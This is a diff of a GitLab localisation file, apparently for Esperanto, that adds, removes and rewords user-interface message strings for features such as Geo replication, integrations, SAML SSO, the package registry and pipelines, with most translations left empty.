msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr "Malfermita"
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr "Opcioj"
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
